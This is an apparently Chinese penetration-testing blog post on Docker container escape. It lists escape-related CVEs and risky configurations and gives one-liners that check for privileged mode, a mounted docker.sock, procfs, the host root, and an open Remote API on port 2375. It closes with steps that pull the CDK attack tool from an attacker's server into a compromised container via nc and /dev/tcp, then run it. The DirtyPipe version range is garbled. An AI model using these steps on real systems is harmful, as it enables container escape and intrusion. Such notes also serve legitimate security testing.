Docker
介绍就不过多赘述了,前一篇有说,网上也有很多师傅解释的很详细了(*^_^*)
Docker 相关的安全问题主要还是集中在逃逸这一块
漏洞利用汇总
1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492
#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe
#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container
检测环境
假如我们攻入一个目标getshell,想确认一下是否是docker环境,直接
ls -alh /.dockerenv
一条命令就能看出来是否是docker环境
博主你的这条命令确实好用,但还是太吃操作了,有没有更加简单又强势的方法推荐一下?
有的兄弟,有的(这种东西记好几种虽然貌似没什么用,但记录一下我知道的几种)
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
返回 Is Docker 就是,反之不是
cat /proc/1/cgroup
看cgroup信息,cgroup是Linux用于管理进程的,Docker 利用 cgroup 来实现容器的资源隔离,确保每个容器只能使用分配给它的资源。返回信息里看到docker关键词就可以确认
容器逃逸检测方法合集
容器逃逸主要3种方法
- 不安全的配置
- 相关程序漏洞
- 内核漏洞
//相关程序漏洞需要配合docker版本使用,目前暂无方法从docker内部获取docker版本信息
//用cdk直接evaluate –full一把梭不是不行,但个人认为最好还是手测和cdk结合使用
0x01不安全的配置
特权模式
执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
如果返回 Not privileged mode 则说明当前不是特权模式
挂载 Docker Socket
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."
如果返回 Docker Socket is not mounted. 则说明没有挂载
挂载 procfs
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."
如果返回 Procfs is not mounted. 则说明没有挂载
挂载宿主机根目录
执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载
find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."
如果返回 Root directory is not mounted. 则说明没有挂载
Docker remote api 未授权访问
执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问
0x02 内核漏洞
CVE-2016-5195 DirtyCow 逃逸
执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。
CVE-2020-14386
执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。
CVE-2022-0847 DirtyPipe 逃逸
执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。
0x03 docker安全工具cdk
需要将工具投放到docker内
先在自己公网上起一个监听
nc -lvp 端口 < cdk
然后docker内
cat < /dev/tcp/公网服务器的IP/端口 > cdk
之后可能会一直没有回显,可以ctrl+C然后ls一下看看有没有cdk
然后记得给cdk设置为可执行权限
chmod a+x cdk
之后就可以利用cdk进行信息收集(后续逃逸的利用也可以利用cdk)
信息收集用如下命令
./cdk evaluate --full
